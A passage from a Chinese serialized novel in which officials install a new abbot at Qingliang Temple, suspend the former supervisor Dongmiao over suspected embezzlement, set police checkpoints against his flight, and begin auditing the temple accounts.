布卷纹丝不动,那沉甸甸的分量和惊人的抗拉强度。
让他感到吃惊。
“嗬!”鄂建设直起身,脱口发出一声短促的惊叹,眼睛瞪得溜圆,脸上混杂着尘土和难以置信的表情,“这布……”
他扭头看向那年轻僧人,手指用力戳着那卷布匹,“这布,这质量,杠杠的啊!”
“与东妙禅房里的布一般无二啊。”
“你们那位东妙师父……倒还真是个说话算数、办事牢靠的主儿!”
他摇着头,啧啧称奇,显然这布匹的质量完全出乎他的意料。
有了这“杠杠的”工业布覆盖保护,加上施工队加班加点,寺庙主体建筑的修缮进度快得令人咋舌。
残破的瓦片被迅速揭下,换上了崭新的琉璃瓦,在阳光下反射出耀眼的金光。
朽烂的梁柱被小心拆除,粗壮的新木料被精准地吊装上去。
斑驳脱落的墙面被铲平。
抹上了平整的新灰。
脚手架像藤蔓一样缠绕着古老的殿宇,每一天都在向上攀升新的高度。
敲击声、吆喝声终日不绝,尘土在工地上空弥漫,整个寺庙仿佛被注入了一股强心剂。
以一种近乎亢奋的速度恢复着昔日的轮廓。
然而,在这热火朝天的景象背后。
谷庄的心,却像一块被无形之手缓缓压入冰冷深潭的石头,一点一点地往下沉。
他站在自己的室内的窗前,望着远处脚手架上蚂蚁般忙碌的身影,眉头锁得死紧。
进度快是好事,可这速度……快得近乎蛮横,快得让他心里那根弦越绷越紧。
更让他不安的是沉寂。
江昭宁**那边,自从上次简短通话后,如同石沉大海,再无半点音讯。
查账的事,在最初的雷厉风行之后,现在搁置了好几天。
而最关键的一环——委派来主持寺务的新任方丈,更是音讯全无。
这种反常的、令人窒息的寂静,比任何喧嚣都更让他感到压力。
一种失控的预感,像冰冷的藤蔓,悄然爬上他的脊背。
他隐隐感到,在这表面的高效和沉寂之下,似乎有一场更大的风暴正在无声地酝酿、**。
东妙
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那阴鸷的笑容,明厉圆滑如油的话语,还有那几卷沉默厚重、质量“杠杠”的工业布……
这些碎片在他脑子里旋转、碰撞,却始终拼凑不出一个清晰的答案。
阳光透过窗棂,在他紧蹙的眉宇间投下深深的刻痕。
他拿起桌上的签字笔,无意识地在面前的空白报告纸上戳着,笔尖在纸上留下一个又一个细小的、深陷的墨点,如同他心头不断扩大的疑虑和焦虑。
这天下午,谷庄独自坐在禅房改造的临时办公室里。
窗外的施工噪音似乎比平日更喧嚣了几分,切割机的嘶鸣、重锤的撞击,一阵阵钻入耳膜,搅得人心烦意乱。
他强迫自己将注意力集中在面前一份关于工程进度的报告上。
但那些密密麻麻的数字和描述,却像一群无法捕捉的飞虫,在眼前乱晃,根本无法读进脑子里去。
查账的停滞,江**的沉默,新方丈的缺席……这些异常的信号汇聚在一起,形成一股沉重的压力,沉甸甸地压在胸口,让他有些喘不过气。
他甚至能听到自己太阳穴血管突突跳动的声音,与窗外的噪音形成一种令人烦躁的共鸣。
就在他烦躁地放下报告,伸手去揉发胀的太阳穴时——
呜——呜——呜——
搁在红漆桌面上的手机,毫无征兆地、剧烈地震动起来!
那震动带着一种近乎蛮横的穿透力,瞬间击碎了办公室内凝滞的空气。
机身与坚硬的木质桌面碰撞,发出急促而刺耳的嗡鸣,在相对安静的空间里显得格外惊心动魄。
谷庄浑身猛地一颤,像是被一道冰冷的电流击中。
伸向太阳穴的手僵在半空,瞳孔骤然收缩,目光死死钉在手机屏幕上跳跃的那五个字上:江昭宁**!
窗外工地的喧嚣声仿佛被一只无形的手骤然掐断,世界陷入一片死寂。
只剩下那台疯狂震动的手机,在桌上像垂死挣扎的活物般跳动、嗡鸣,屏幕上的名字像烧红的烙铁,灼痛了他的眼睛。
时间仿佛被无限拉长。
谷庄盯着那屏幕,足足有两三秒无法动弹,直到那持续的、刺耳的震动声穿透耳膜,狠狠砸在他的神经上。
他猛地吸了一口气,那气息短促而带着颤音,身体几乎是弹射般前倾,一把抓起那滚烫的手机。
指尖触碰屏幕的瞬间,甚至带着一丝不易察觉的抖动。
第215章 钟声迎客
他用力按下接听键,将手机紧紧贴在耳边,仿佛那冰冷的塑料外壳能传递某种支撑的力量。
喉结上下艰难地滚动了一下。
他努力让自己的声音听起来平稳如常,甚至刻意带上了一丝几乎算是热络的试探:“江**?”
他顿了顿,仿佛在确认线路是否畅通,也像是在给自己争取一瞬的喘息,“您亲自打电话来……是有什么好消息要指示吗?”
声音透过话筒传出去。
连他自己都听出了那层刻意维持的平静之下,难以完全掩饰的紧绷和一丝不易察觉的干涩。
电话那头,短暂的静默如同冰冷的潮水漫延过来,无声地冲刷着谷庄的耳膜。
这短暂的空白,比任何言语都更具压迫感。
几秒钟后,江昭宁的声音终于透过电波传来,那是一种经过高度压缩的平静,没有任何寒暄,没有任何情绪起伏,每一个字都像冰冷的秤砣,精准地砸落:“谷局。”
江昭宁声音不高,却带着一种不容置疑的穿透力,清晰地钻进谷庄的耳朵,“新任方丈,智远大师,明天正式到任。”
谷庄握着手机的指关节瞬间泛白,冰冷的感觉从指尖迅速蔓延至整条手臂。
来了!终于来了!
他屏住呼吸,心脏在胸腔里沉重地撞击着。
电话那头的声音没有丝毫停顿,继续平铺直叙,却带着千钧的重量:“你要做好查账的准备。”
“是!”谷庄几乎是条件反射般,从喉咙深处迸出一个字。
声音短促、有力,像一颗被猛然敲击的钉子,深深地楔入这通电话营造出的冰冷氛围中。
这一个字,用尽了他此刻能调动的全部力量。
电话那头没有再传来任何声音。
没有叮嘱,没有询问,也没有结束语。
听筒里只剩下一种单调而空洞的忙音,嘟嘟……嘟嘟……嘟嘟……像永无止境的倒计时秒针,敲打着谷庄的耳膜。
他缓缓地、极其缓慢地将手机从耳边移开。
手臂僵硬得像生了锈的机械。
屏幕上,“通话结束”的字样清晰而冷酷。
办公室窗外的喧嚣——切割机的嘶吼、工人的吆喝、重物的撞击声——如同退去的潮水般重新涌入,瞬间填满了所有的寂静。
但这些声音此刻听起来却异常遥远、模糊,仿佛隔着一层厚厚的**玻璃。
谷庄的目光没有焦点地落在面前的红漆桌上。
桌面上,那份被他烦躁搁下的工程进度报告还摊开着,密密麻麻的数字和文字此刻都扭曲成了毫无意义的符号。
他的视线仿佛穿透了纸张,穿透了桌面,凝固在虚空中的某一点。
智远大师……查账……
这两个词,如同两块烧红的烙铁,在他脑海中反复灼烫、旋转。
该来的,终于来了!
与东妙的较量终于要拉开帷幄了。
翌日。
山门外的风裹挟着晨露的凉意,吹动了古槐的枝叶,发出沙沙的轻响。
山脚下,蜿蜒如带的盘山公路上。
三辆乌黑铮亮的轿车,在清晨薄雾尚未散尽的林间沉稳地行驶着。
轮胎碾过湿润的路面,发出低沉的沙沙声。
如同某种庞然大物贴地潜行。
车体反射着清冷的晨光,像三道沉默的墨线,精准地切割着青翠的山色。
车子最终在山寺门前开阔的平台上停稳。
车门次第打开。
发出短促而利落的轻响。
十多个身影陆续下车,脚步声落在青石板铺就的平台上,声音清晰,带着一种不言自明的分量。
为首的是一位身着深色公务夹克的年轻人,步履沉稳,面容肃然。
其后是几位穿着杏黄色僧衣的僧人,气质或清癯或庄严。
一行人并无多言,默契地整理了一下衣襟。
便沿着那历经无数香客踩踏、光滑而陡峭的石阶,一级一级,沉默而坚定地向山门攀登。
阳光透过高大古树的缝隙,在他们身上投下斑驳跳跃的光影,肃穆的气氛随着他们的登临,如同无形的潮水,漫过每一级石阶,无声地向清凉寺的核心涌去。
“当——嗡……”
恰在此时,清凉寺那口悬挂在大雄宝殿檐角的千年古铜钟,骤然被撞响。
浑厚、悠长、带着金属震颤余韵的钟声,瞬间撕破了山寺清晨的寂静,如同无形的巨浪,一层层、一波波地荡漾开来,掠过飞檐斗拱,拂过参天古木,充盈于每一寸空气。
这钟声是迎客信号!
沉重的山门在钟声余韵中,被两位身强力壮
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的知客僧缓缓向内拉开,发出古老木料摩擦的“吱呀”声。
门内,早已是另一番景象。
两列僧众肃然垂手而立,从山门内一直排到大雄宝殿前的广场。
他们身着整洁的灰色海青,低眉敛目,双手合十于胸前,姿态恭谨得如同石刻的罗汉。
整个寺院弥漫着一种近乎凝滞的庄重。
只有晨风吹动僧袍衣角的轻微声响。
工作组的人员也分立一侧。
谷庄站在靠前的位置,目光锐利如鹰隼,紧紧锁住山门洞开处渐次清晰的人影。
东妙站在僧众队列最前方,位置显赫。
他脸上堆叠着无可挑剔的恭顺笑容,那笑容仿佛是用尺子量过,精准地挂在嘴角,饱满得甚至有些过分。
他微微躬着身,快步迎上前去,声音拔高,带着一种刻意的、穿透寂静的喜悦:“阿弥陀佛!”
“山寺久无方丈主持,僧俗两众翘首以盼。”
“今日大师法驾光临,真真是喜从天降啊!”
“清凉古刹,从此有主了!”
他双手合十,深深一礼,姿态谦卑到了尘埃里,每一个动作都仿佛在诠释着虔诚与拥戴。
被簇拥在核心的智远大师停下了脚步。
他身形清瘦,穿着一件半旧却浆洗得十分洁净的褐色袈裟,面容平和。
眼神却澄澈深邃,如同古井深潭,映着周遭的一切,却难起波澜。
面对东妙热情洋溢的迎接。
他只是微微颔首,双手合十还了一礼,声音不高,平静无波:“阿弥陀佛,有劳东妙师。”
简短的回应,没有任何多余的客套与寒暄,如同石子投入深潭,只漾开一圈极淡的涟漪,旋即归于沉寂。
这份异乎寻常的淡然。
让东妙脸上那过分饱满的笑容,几不可察地僵滞了一瞬。
智远大师并未与东妙多做交谈,而是微微侧身,对着身旁一位同样身着黄色袈裟、气度雍容的老僧合十道:“禅广大师,您请。”
禅广大师,市佛教协会会长,正是此次代表佛协前来宣布任命的关键人物。
禅广大师亦合十回礼。
随即微微躬身,向身边一位穿着深色夹克、面容儒雅却带着不怒自威气度的青年男人示意:“**,您请前行。”
第216章 新方丈上任
这位便是江昭宁!
本来应当是主管宗教事务的市宗教局长施文举来,可是省局临时开紧急会议,他不得不中止清凉寺行程。
派一位副局长,又觉得分量不够。
于是施文举打了一个电话给江昭宁,请他代表政府一行。
江昭宁是东山一号人物,位高权重,清凉寺又位于东山境内,他去正好。
所以这次来的临时换做了江昭宁。
他脸上带着温和的微笑,闻言谦和地摆摆手:“大师客气了,您是佛门领袖,您请。”
一番短暂而标准的官场礼让后。
江昭宁终究还是迈步,当先走入了山门之内。
他的步伐不快,却异常沉稳,每一步踏在寺院的青石板上,都仿佛带着无形的重量。
他的目光平和地扫过两旁肃立的僧众,最终在谷庄脸上停留了极其短暂的一瞬,微微颔首,随即又移开。
谷庄震惊之下,心领神会。
一行人穿过肃立的僧众,穿过香烟缭绕的前殿,最终抵达了寺院深处用于重大仪轨的禅院礼堂。
礼堂内早已布置齐整,蒲团排列有序。
僧众们鱼贯而入,按照戒腊资历依次落座于蒲团之上,工作组成员则坐在侧旁的椅子上。
空气里弥漫着浓重的檀香气息,混合着一种无声的、巨大的期待与紧张。
禅广大师步履沉稳地走到礼堂前方预留的法座前,并未落座。
他环视全场,目光扫过每一张或熟悉或陌生的面孔,最终在垂手恭立于前排、脸上依旧努力维持着恭顺笑容的东妙身上停顿了一秒。
那眼神平静无波,却让东妙心头莫名一紧。
禅广大师清了清嗓子,浑厚而清晰的声音在庄严肃穆的礼堂内响起,每一个字都如同投入平静湖面的石子,激起圈圈涟漪:“诸位法师,诸位同仁。”
“清凉古刹,法脉绵长,然方丈之位虚悬日久,寺务管理,多有不便。”
“山中龙象无首,此非佛门之福,亦非众生之愿。”
“今承各方宿德善信、佛协理事会及政府相关部门同寅共荐,反复评议考量……最终恭请智远法师……驻锡清凉,升座为方丈!”
“为清凉寺第三十七代方丈。”
禅广的声音不高,却沉凝异常,每个字都清晰无比地落入场中每个人的耳鼓,如同沉重的石子投入深潭。
他的话音落下,礼堂内响起一片低沉而整齐的合十声与轻微的“阿弥陀佛”声。
这任命本身并不意外,清凉寺确实已数年无主。
东妙脸上的笑容似乎更盛了几分,腰也躬得更低了些,仿佛在为这众望所归的决定表达由衷的欢喜。
然而,他低垂的眼皮下,一丝不易察觉的精光飞快闪过,那是对未来稳操胜券的笃定——方丈是方丈,日常寺务,终究还是离不开他这个“老监院”。
但禅广接下来的话语,却如同九天惊雷,毫无预兆地、狂暴地劈开了这看似平静的湖面!
“然!为保寺院修复、财务整顿及日后诸事清明公正……”禅广的声音陡然拔高,斩钉截铁。
他目光如有千钧重,在无数道目光汇聚中,如无形的箭镞般“唰”地钉向东妙所立的方位,“即日起——原监院东妙暂停其在寺内一切职事权限!”
“暂停职务”!
这四个字,每一个都像一柄千钧重锤,狠狠砸在东妙的耳膜上,再凶猛地撞进他的脑海!
他脸上的笑容,那精心维持的恭顺面具,如同被重锤击中的劣质瓷器,在万分之一秒内彻底崩碎!
血色瞬间从他脸上褪得干干净净,变得惨白如金纸。
他浑身猛地一震,仿佛被无形的电流击中。
一个剧烈的激灵从尾椎骨直冲头顶,头皮瞬间炸开。
无数细小的寒毛根根倒竖!
停职?!
不是继续担任监院配合新方丈,甚至不是降职留用……而是直接停职!
这比免职更狠厉,更不留余地!
这冰冷的四个字,像四把烧红的铁钳,狠狠夹住了他的心脏。
一股刺骨的寒意,比数九寒冬的冰水更甚百倍,瞬间将他从头到脚彻底浇透,冻结了血液,凝固了呼吸。
巨大的恐惧如同深渊巨口,猛地将他吞噬——完了!
停职,就意味着审查!
意味着他这些年费尽心机、层层包裹的那些东西,那些藏在深青色厚重布匹之下、以为只有“佛祖”才知道的秘密……将要被赤裸裸地暴露在光天化日之下!
彻底完了!
这石破天惊的一
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击,瞬间引爆了整个礼堂!
“嗡——!”
如同滚烫的油锅里猛地泼进了一瓢冰水,死寂只维持了不到半秒,随即便是山呼海啸般的哗然!
所有维持的肃穆、恭谨、秩序,在这一刻土崩瓦解。
僧众们再也无法端坐,惊诧、骇然、难以置信、幸灾乐祸……种种情绪如同火山喷发!
“东妙监院……停职了?!”一个中年僧人猛地从蒲团上直起身,声音因极度震惊而尖锐变调,“他……他代理方丈几年,就算……就算没有功劳,总该有些苦劳吧?”
“这……这就给撸了?”
“哼!”一声毫不掩饰的冷笑从后排响起,带着浓烈的讥诮和积压已久的怨气,“苦劳?捞钱的苦劳吧!”
“你看看他把这清净道场搞成了什么乌烟瘴气的地方!”
“停职?我看还轻了!”这声音如同投入沸油的火星。
“大快人心!佛祖开眼了!”更有人压抑不住地低声叫好,声音里充满了积郁已久的释放。
礼堂内人声鼎沸,嗡嗡的议论声、争辩声、惊呼声交织成一片混乱的声浪,几乎要掀翻屋顶。
无数道目光,惊疑的、探究的、鄙夷的、快意的,如同密集的箭矢,从四面八方射向呆立在原地的东妙。
他僵直地站着,脸色惨白如鬼,嘴唇不受控制地微微颤抖着,身体仿佛瞬间被抽走了所有骨头,只剩下一个摇摇欲坠的空壳。
宽大的僧袍下摆,细微却无法抑制地簌簌抖动,如同风中秋叶。
他低垂着头,不敢迎向任何一道目光。
巨大的耻辱和灭顶的恐惧,将他钉在了这喧嚣的漩涡中心。
“安静!”一个不高却极具穿透力的声音响起,带着久居上位的威严。
是江昭宁!
他只是抬起右手,向下虚按了一下。
这个简单的动作,却仿佛带着无形的魔力。
如同被按下了暂停键,鼎沸的人声像是被一只无形的大手猛地扼住,从喧嚣的顶峰急速滑落。
不满的议论、激烈的辩驳、幸灾乐祸的低语……都在江昭宁那平静却极具压迫感的目光扫视下,不甘心地迅速消弭。
几秒钟内,偌大的礼堂重新陷入一种紧绷的、令人窒息的寂静。
第217章 古刹之幸
只剩下粗重不一的呼吸声,以及东妙看清了说话者是江昭宁后僧袍下摆那无法控制的、细微的抖动声。
江昭宁的目光转向禅广大师,微微颔首示意。
“现在请东山县委江**给诸位法师,诸位同仁讲话。”
“江**?!”所有的僧众面露惊骇之色,东山县城说一不二的人物?
这样的人也来了?
这重视程度有些逆天!
“诸位稍安勿躁。”江昭宁语调沉稳。
他的目光扫过场中一张张神色各异、但皆屏息凝神的脸,最后落定在智远身上。
“智远大师非是寻常大德。”
“诸位可知,他乃省佛协理事、市佛协秘书长,乃正信道场培养的科班精才。”
“毕业于国内顶尖佛学院,四年寒窗,精研三藏,佛学造诣深厚,经义解悟精熟,禅修功夫扎实。”
“论典藏功底、说宗门机要、辩修证次第,在当代佛法大师中实属翘楚!”
禅广大师也不失时机,接过话,他眼中闪过真切的欣赏,“正如江**所言,智远大师可谓……满腹经纶,才学横溢!”
“更难得持戒精严,德行高远。”
“实为我禅门真正薪火相传的人物!”
他的声音微微扬起,在空旷处激起回音。
引得众多僧人眼中精光闪现,不由自主频频点头,脸上的不安被一种隐隐的期待所取代。
禅广大师的话语带着由衷的推重,“清凉寺历经千年,法脉曾何其昌盛!”
“历代高僧祖德何其巍巍庄严!然近岁因循萎靡,法运不彰。”
“幸得政府明察,特礼请智远大师于此危难之际,重振寺宇!”
“智远大师非空有其名之辈,其才其德,深契佛祖禅心奥义,实乃上佳之选!”
“由智远大师执掌清凉寺法席,乃古刹之幸,僧众之福。”
禅广大师目光灼灼,“老衲深以为幸,亦信心满怀!”
“相信假以时日,在智远大师的清净律己与如法行持下,清凉寺必能拨乱反正,涤除浊气,归复庄严清净之根本!”
“使此千年古道场,真真正正……成为一方清修向道的福田净土。”
最后一句,字字千钧,激荡人心。
所有的目光,此刻都聚焦在智远大师身上。
这位新晋方丈依旧神色平静,无喜无悲。
他缓步上前,在法座前站定,双手缓缓合十,举至胸前。
他的动作从容而坚定,目光澄澈,缓缓扫过台下每一张神色各异的面孔。
在东妙那张惨白失魂的脸上,也未作过多停留。
“阿弥陀佛。”他的声音清朗平和,不高亢,却奇异地压住了礼堂内所有残余的躁动,清晰地传入每个人的耳中,“承蒙江**,佛协、宗教局信任,禅广大师抬爱,诸位法师同道不弃,智远德行浅薄,才疏学浅,唯深感责任重大,如履薄冰。”
他微微一顿,声音里注入了一种沉静而坚定的力量:“小僧来此,非为名利,只为护持道场,光**门。”
“自当与众位同道,同心同德,精进修持,参禅明理,以戒为师,弘扬正法。”
“清凉古刹,农禅并重本是祖训,亦当遵循。”
“唯有脚踏实地,持戒清修,方能涤除积弊,重振宗风。”
智远大师的声音带着一种奇异的韵律感,清晰平稳地继续流淌:“共参无上菩提妙理,返照清净本来面目。”
前一句如经文颂唱,后一句若老禅机锋!
智远大师的话,让江昭宁频频点头。
他的目光变得深邃而悠远,仿佛穿透了礼堂的屋顶,望向了这座古刹历经沧桑的飞檐斗拱,“我衷心希望广大僧众,在智远大师的引领之下,让这千年道场,真正回归它应有的样子——清净、庄严、和合、精进。”
“应有的样子”这五个字,他说得异常清晰,如同重锤敲响洪钟,余音在骤然又归于寂静的礼堂内久久回荡。
东妙依旧僵立在原地,头颅深深地垂着,几乎要埋进胸口。
江昭宁那平和的话语落在他耳中,却字字如刀,句句似箭,冰冷地刺穿了他最后的侥幸。
他感到自己正被一股无形的、沛然莫御的力量,彻底剥离出这座他苦心经营、视若私产的寺庙。
那卷厚重的工业布匹下所掩盖的一切,似乎正被这新升起的日光,无情地照亮
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一股灭顶的寒意,从脚底直冲天灵盖。
将他彻底冻结在这初升的阳光与冰冷的现实之间。
宣布完毕后。
江昭宁与禅广大师及随行人员在智远方丈的恭送之下,下寺门离去。
山门巍峨,古刹肃穆。
最后一声悠扬的钟声余韵袅袅散去,如同沉入深潭的石子,只留下圈圈看不见的涟漪,轻轻拂过寺院中那株千年银杏苍老的枝干。
智远方丈双手合十,宽大的僧袖被山风微微鼓起。
他立于石阶顶端,身形沉稳如山,目光平静地追随着三辆黑色公务车缓缓驶离寺院下的停车场。
车窗外,几抹阳光斜斜地映照在江昭宁沉静的脸庞上。
他隔着玻璃,微微颔首,目光与智远隔短暂交汇。
车轮碾过寺前青石板铺就的坡道,发出低沉而规律的声响。
车内,檀香残留的气息与新式皮革的味道交织在一起,有些奇异。
王涛坐在江昭宁侧后方,看着窗外急速**的寺庙飞檐和古松剪影。
他忽然低笑一声,打破了车内短暂的宁静:“江**,看禅广大师他们现在也安安稳稳坐在这小轿车里了……”
“啧,江**,和尚现在坐上车了?”
“都说佛法无边,可还得四个轮子往山下溜。”
话语里带着一丝惯常的、不易察觉的调侃意味,目光却谨慎地投向江昭宁。
江昭宁的目光并未从窗外流动的山景收回,只是唇边掠过一丝极淡的、几乎难以捕捉的弧度,声音平稳得像山涧深潭的水:“王涛,时代洪流,泥沙俱下,也裹挟着众生前行。”
“出家人也是众生。”
“他们不能腾云驾雾,难道还不能与时俱进?”
“佛法讲随缘不变,不变的是那颗菩提心,至于行住坐卧,那便是‘随缘’二字了。”
“不能与时俱进,难道要佛法自绝于人间烟火么?”
他的语气平淡,却自有一股不容置疑的份量,仿佛在陈述一个再朴素不过的真理。
王涛闻言,脸上那点调侃的笑意立刻收敛,唯余恭敬,连忙应道:“是,**说的是,是我眼界浅了。”
第218章 紧急部署
车内重归安静,只有引擎低沉的嗡鸣和轮胎摩擦路面的沙沙声。
车子行至山脚岔路口。
一个向左通往县城。
一个向右延伸向邻县。
打头那辆载着佛协人员的车率先亮起右转向灯,沉稳地拐了过去,紧随的第二辆也依序跟上。
江昭宁所乘的这辆则利落地左转。
将山寺最后的轮廓远远抛在后面。
直直驶向县城方向。
车内的光线随着方向变换暗了一下。
王涛借着这明暗交替的瞬间,身体微微前倾,声音压得更低,带着请示的恭顺:“江**,关于今天清凉寺新方丈到任这事……信息发布,简报这块,是由我们这边来出吗?”
他特意强调了“社会面”三个字,目光紧锁着江昭宁的侧影。
江昭宁没有立刻回答。
他缓缓抬起左手,对着前排轻轻摆了一下,动作不大,却带着清晰的不容置疑的意味。“不必。”
他顿了顿,目光似乎穿透了挡风玻璃,望向县城方向渐次亮起的万家灯火,“佛协那头,自有他们的章程。”
“相关的简报会按他们的系统走,各丛林寺庙,很快都会收到消息。”
“我指社会面上的宣传,江**。”王涛连忙侧身,语气越发恭顺谦卑,“需要覆盖更大的范围吗?”
江昭宁稍稍侧过脸,视线越过椅背,精准地落在副驾驶位置上那位刚才僧会时一直安静记录、肩头别着小小**部徽章的年轻干事身上。
“小周,”他点名道,“这个面向社会面的报道,就交给你们**部来落实。”
“把握好基调。”
前排的周干事闻声立刻挺直了背,迅速转过头来,脸上带着被委以重任的郑重与一丝不易察觉的兴奋:“是!江**您放心!”
“现场的重要环节我都抓拍了照片,清晰得很!”
“通讯稿我一定用心打磨。”
“尽快拿出初稿请您审阅!”他的语速比平时快了几分,手指下意识地碰了碰挂在胸前的相机。
“嗯。”江昭宁从鼻腔里发出一声短促而满意的回应,微微颔首,算是认可。
“不过,这初稿审阅由你们部长把关就行了,他更知道掌握分寸。”
“是!”
江昭宁重新靠回柔软的真皮座椅,闭上了眼睛,仿佛在短暂的行程中小憩。
车内彻底安静下来,只有窗外景物飞逝的模糊光影,在他紧闭的眼睑上投下明明灭灭的痕迹。
那沉静的面容下,无人知晓的思绪正如车外暮色般汹涌——新方丈的蒲团是坐稳了,可那被挤下莲台的旧日监院东妙,此刻又在哪个阴暗角落,如何盘算着他那条注定越走越窄的绝路?
清凉寺的香火鼎盛背后,那被掏空的寺产资金早已是悬在头顶的利剑。
黑色的轿车如同箭矢。
引擎发出一声低沉的咆哮,骤然加速,风驰电掣般将盘山公路远远甩在身后,直刺向县城心脏。
车子稳稳驶入县委县府机关大院时,天已快正午12点了。
高耸的办公楼里,几株高大的玉兰树,在秋风中投下摇曳不定的影子。
江昭宁推开车门,一股微凉的、带着城市尘埃气息的风扑面而来。
他脚步径直穿过空旷的院落,皮鞋叩击水泥地面的声音在寂静中显得格外清晰。
上楼梯,拐弯,长长的走廊里回荡着他一个人的足音。
推开那扇熟悉的、挂着“**办公室”门牌的木门。
他反手带上,将外界的声响隔绝。
办公室内有些昏暗,他没有开顶灯,只拧亮了桌上一盏老式的绿罩台灯。
昏黄而集中的光线立刻在桌面上投下一个温暖的光圈,将他上半身笼罩其中障。
他伸手拿起那部红色的内部专线电话,听筒贴在耳边,手指熟练地拨下乔国良的短号。
听筒里只响了一声便被迅速接起,传来乔国良那惯有的、带着点沙哑却中气十足的声音:“江**!您指示!”
背景里隐约还有纸张翻动和对讲机电流的滋滋声。
“国良同志,”江昭宁的声音透过电话线传过去,平稳中透着一股不容置疑的锋锐,“清凉寺那边,新方丈的升座仪式结束了。”
“设卡蹲点监控的情况,现在怎么样?”他的食指无意识地轻轻叩击着光洁的桌面。
“江**放心!”乔国良的声音立刻绷紧了,“我亲自钉在这边督着呢!”
“各点位都按预案执行,眼睛瞪得溜圆,绝不敢有丝毫懈怠!”
“目前目标人物还在寺内的区域活动,暂时没有异动。”
“外围的几个关键出路口,把控得死死的。”
他语速很快,透着职业性的干练。
“
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好。”江昭宁应了一声,但随即语气陡然加重,每一个字都像淬了火的钉子,“但这远远不够!”
“听着,乔国良,从此刻起——”他刻意停顿了一下,让听筒那端的乔国良能清晰地感受到那股迫人的压力,“除寺门出口安排的人员不动外,立刻给我在通往邻县、省道、以及高速入口那几个最主要的交通卡口点位上,进行设伏堵截拦阻,人数相较于普通追捕,增加一倍的人手!”
“必须确保每个点位,二十四小时都处于高等级的临战状态!”
“明白吗?”
他的食指停止了叩击,紧紧压在桌面上。
电话那头明显吸了一口气,乔国良的声音带着瞬间的了悟和凝重:“江**,您的判断是……新方丈一到,东妙他最后那点指望也彻底断了,现在……是到了狗急跳墙、准备卷款跑路的时候了?”
他精准地复述着江昭宁未尽的潜台词。
“正是如此!”江昭宁斩钉截铁,“新方丈坐殿,就是敲碎他幻想的最后一锤!”
“那被他挪用的巨款,就是套在他脖子上的绞索,越收越紧。”
“他现在除了拼死一搏,赌一条出路,还能有什么侥幸?”
“我们决不能给他这个机会!”
“必须把他死死摁在瓮中!”
“明白!我完全理解!”乔国良的声音透出铁一般的决心,“我马上部署!立刻加人!”
“把能调动的所有机动力量全部压上去!确保万无一失!”他回答得没有丝毫犹豫。
江昭宁微微眯起眼,台灯的光晕在他深邃的眼窝处投下浓重的阴影:“人手调配,要快!要足!在编干警不够,就用经过审查、可靠的辅警全力顶上!”
“所有人员必须配齐装备,通讯保持绝对畅通!”
他的语气如同冰冷的铁块,重重砸下,“记住,乔国良,东妙在清凉寺经营多年,根基很深,路子也野。”
“他绝非束手待毙之辈!”
“现在是他最疯狂、最危险的时候!”
“出逃这最后一道关,你给我把**!”
“绝不能持失之大意!一丝一毫的缝隙都不能留给他!”
“否则,前功尽弃,你我都是罪人!”
最后几个字,他说得异常缓慢而沉重。
每一个音节都带着千钧之力,清晰地敲在乔国良的心上。
第219章 查账无果
电话那端陷入短暂的、几乎令人窒息的沉默。
几秒钟后,乔国良的声音再次传来,那沙哑的声线里,原有的干练被一种近乎肃杀的凝重所取代,每一个字都像是从喉咙深处用力凿出来:“明白!江**!您放心!”
“我乔国良拿党性和这身警服向您保证,绝不让东妙这条大鱼从我们的网眼里溜出去!”
“我这就去布置!”
“一只可疑的苍蝇,也休想飞出我们布下的天罗地网!”
“嗯!”江昭宁从鼻腔里沉沉地应了一声。
这声回应,既是对乔国良决心的确认,也像是为自己内心那根绷紧到极限的弦,暂时寻到了一个支点。
他不再多言,干脆利落地挂断了电话。
听筒放回机座时,发出一声轻微的“咔哒”脆响。
办公室里彻底安静下来,只有老式台灯灯罩下,那圈昏黄的光晕固执地撑开一小片光明。
江昭宁没有动,依旧保持着刚才通话时的姿势,身体微微前倾,双手交叠搁在宽大的办公桌上,指尖相对。
他缓缓抬起眼,目光似乎穿透了墙壁,投向盘踞在远山之上的千年古刹。
香炉的冷灰之下,是否正有一双绝望而贪婪的眼睛,在黑暗中死死窥探着逃离的生门?
那被他视作身家性命、实则是催命符的巨大赃款,此刻正蛰伏在何处?
是早已通过秘密渠道化整为零,还是仍旧像一块烧红的烙铁,烫得他坐立不安,急于脱手?
乔国良的行动指令。
此刻应该已化作一道道加密的电波。
在县**局的指挥中心和各基层所队的频道里飞速传递。
通往县境之外的条条道路,那些白日里车流熙攘、此刻却冷清下来的关键隘口,无形的网正在悄然收紧。
身着制服的警员和便衣的身影,在无声地增加、调动。
对讲机里短促而专业的呼号声此起彼伏,打破着荒野的沉寂。
时间,在寂静中一分一秒地流逝,带着无声的重量。
江昭宁依旧端坐如山。
只有交叠的指尖,在极其缓慢地、微不可察地相互摩挲了一下。
这是一场无声的较量,一方在暗处如困兽般焦灼地寻找着哪怕一丝缝隙。
另一方则在明处布下铁壁铜墙。
耐心地等待着猎物最终撞向罗网的那一刻。
成败之机,往往就在人心绷紧到极致又骤然断裂的刹那。
他需要等。
像一个经验丰富的老猎手,屏息凝神。
等待着雪地上传来那声预示着猎物踏入陷阱的、微弱的枯枝断裂声。
那张由决心、部署和无数双警惕的眼睛共同编织的大网。
已在这片土地之上,无声地张开。
智远方丈升座的法螺声犹在殿宇间隐隐回荡,寺内的空气却悄然变了质。
僧俗两众的眼神里,敬畏与疏离如藤蔓般无声缠绕。
昔日东妙方丈的威势虽已倾颓,但阴影仍如殿角蛛网般顽固盘踞。
僧众交头接耳,眼神复杂——东妙垮台太快,新方丈能压得住吗?
那些曾依附于东妙的执事、知客,脚步放得轻了,眼神却更沉了,彼此擦肩而过时,一个无声的眼风便胜过千言万语,传递着心照不宣的观望与试探。
正是在这看似平静、实则暗流汹涌的晨课钟声里,谷庄带着两名审计人员,踏入了寺院的账务室。
广净垂首立在角落一张旧木桌旁,桌上一台蒙着薄灰的台式电脑,如同一个沉默的暗礁。
谷庄的目光锐利如刀锋,扫过室内每一寸空间,最终落在广净身上。
“广净师傅,”谷庄的声音平稳,却带着不容置疑的分量,“寺里近三年的所有账目收支,特别是那几笔大额‘修缮功德金’的明细,请调出来吧。”
广净的头垂得更低了,枯瘦的双手下意识地拢在宽大的僧袖里。
谷庄看得分明,那袖口下的指尖,正无法抑制地微微颤抖,如同寒风中即将凋零的枯叶。
他的嘴唇翕动了几下,却未能发出清晰的声音,目光躲闪地瞥向门口方向,仿佛在等待什么,又惧怕着什么。
“谷组长要核账,这是县里的公事!你是什么东西?还敢推三阻四、阻挠审查不成?!”
